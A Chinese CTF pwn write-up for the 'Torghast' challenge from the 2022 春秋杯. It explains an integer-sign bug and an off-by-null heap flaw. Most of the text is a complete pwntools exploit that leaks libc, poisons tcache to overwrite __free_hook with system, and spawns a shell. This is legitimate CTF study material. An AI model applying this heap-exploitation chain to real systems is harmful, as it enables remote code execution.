2025-02第二周:2022春秋杯 Torghast
每周一pwn系列
题目描述:Torghast, Tower of the Damned
基本信息
2.31-0ubuntu9.7
逆向分析
主函数
join_game()
有三个boss,分别是HP 10,HP 1000,HP ????。要全部打败才能继续
在use magic里面有个漏洞,有符号数转无符号数,把mp扣成负数就会转为一个非常大的无符号数从而满足条件
- player_manage()
堆菜单,没有size限制
show函数在 join_game() 里:
而show的索引由 select_user()控制
漏洞利用
经过测试,edit存在 off by null
off by null - 情况二
构造 overlap 然后 tcache 打 free_hook
EXP
有 1/16 的概率打通
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def win():
sa('Select Your Choice:',str(1))
sa('Main Menu\n',str(1)) #1
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(1))
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(1))
sa('Main Menu\n',str(1)) #2
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(1))
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(1))
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(1))
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(1))
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(1))
sa('Main Menu\n',str(2))
sa('4. Gain Infinity HP (Only GM)',str(4))
sa('Main Menu\n',str(1)) #3
sa('Main Menu\n',str(4))
def menu(choice):
sa('Select Your Choice:',str(choice))
def add(idx,size,content):
menu(1)
sa('Select User Id',str(idx))
sa('Player Data Size',str(size))
sa('Input Data',content)
def edit(idx,content):
menu(2)
sa('Which Player To Change?',str(idx))
sa('Your Log:',content)
def delete(idx):
menu(3)
sa('Which Player You Want To Delete:',str(idx))
def show(idx):
menu(4)
sa('Select Your Choice:',str(2))
sa('Choose Which User?',str(idx))
sa('Select Your Choice:',str(1))
sa('Main Menu\n',str(3))
def pwn():
win()
sa('Select Your Choice:',str(3))
add(16,0x1d10,b'paddings')
add(15,0xff0,b'paddings')
add(14,0xff0,b'paddings')
add(1,0x508,b'pppp') # prev
add(2,0x410,b'2222')
add(3,0xf0,b'3333')
add(4,0xf8,b'4444')
add(5,0x4f0,b'victim') # victim
add(6,0xf0,b'6666')
add(7,0x4f0,b'AAAA') # a
add(8,0xf0,b'8888')
add(9,0x510,b'BBBB') # b
add(10,0xf0,b'8888')
delete(7);delete(9);delete(1)
add(11,0x600,b'aaaa')
add(1,0x508,b'pppp')
add(9,0x510,p16(0))
add(7,0x4f0,b'AAAA');delete(7);delete(5)
add(7,0x4f0,b'a'*0x8+p16(0))
add(5,0x4f0,b'victim')
edit(4,b'a'*0xf0+p64(0xb20))
edit(1,p64(0)+p64(0xb21))
delete(5)
add(5,0x4f8,b'abcd')
show(2)
ru(b'Here Is The Adventure Log:\n',True)
leak=u64(r(6).ljust(8,b'\x00'))
libc.address=leak-0x1ecbe0
lg('libc',libc.address)
system=ls('system')
free_hook=ls('__free_hook')
sa('Main Menu\n',str(4))
sa('Select Your Choice:',str(3))
add(12,0x410,b'aaaa')
add(13,0xf0,b'aaaa')
delete(10);delete(13)
edit(3,p64(free_hook))
delete(14);delete(15);delete(16);
add(14,0xf0,b'/bin/sh\x00')
add(15,0xf0,p64(system))
delete(14)
#dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./pwn'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()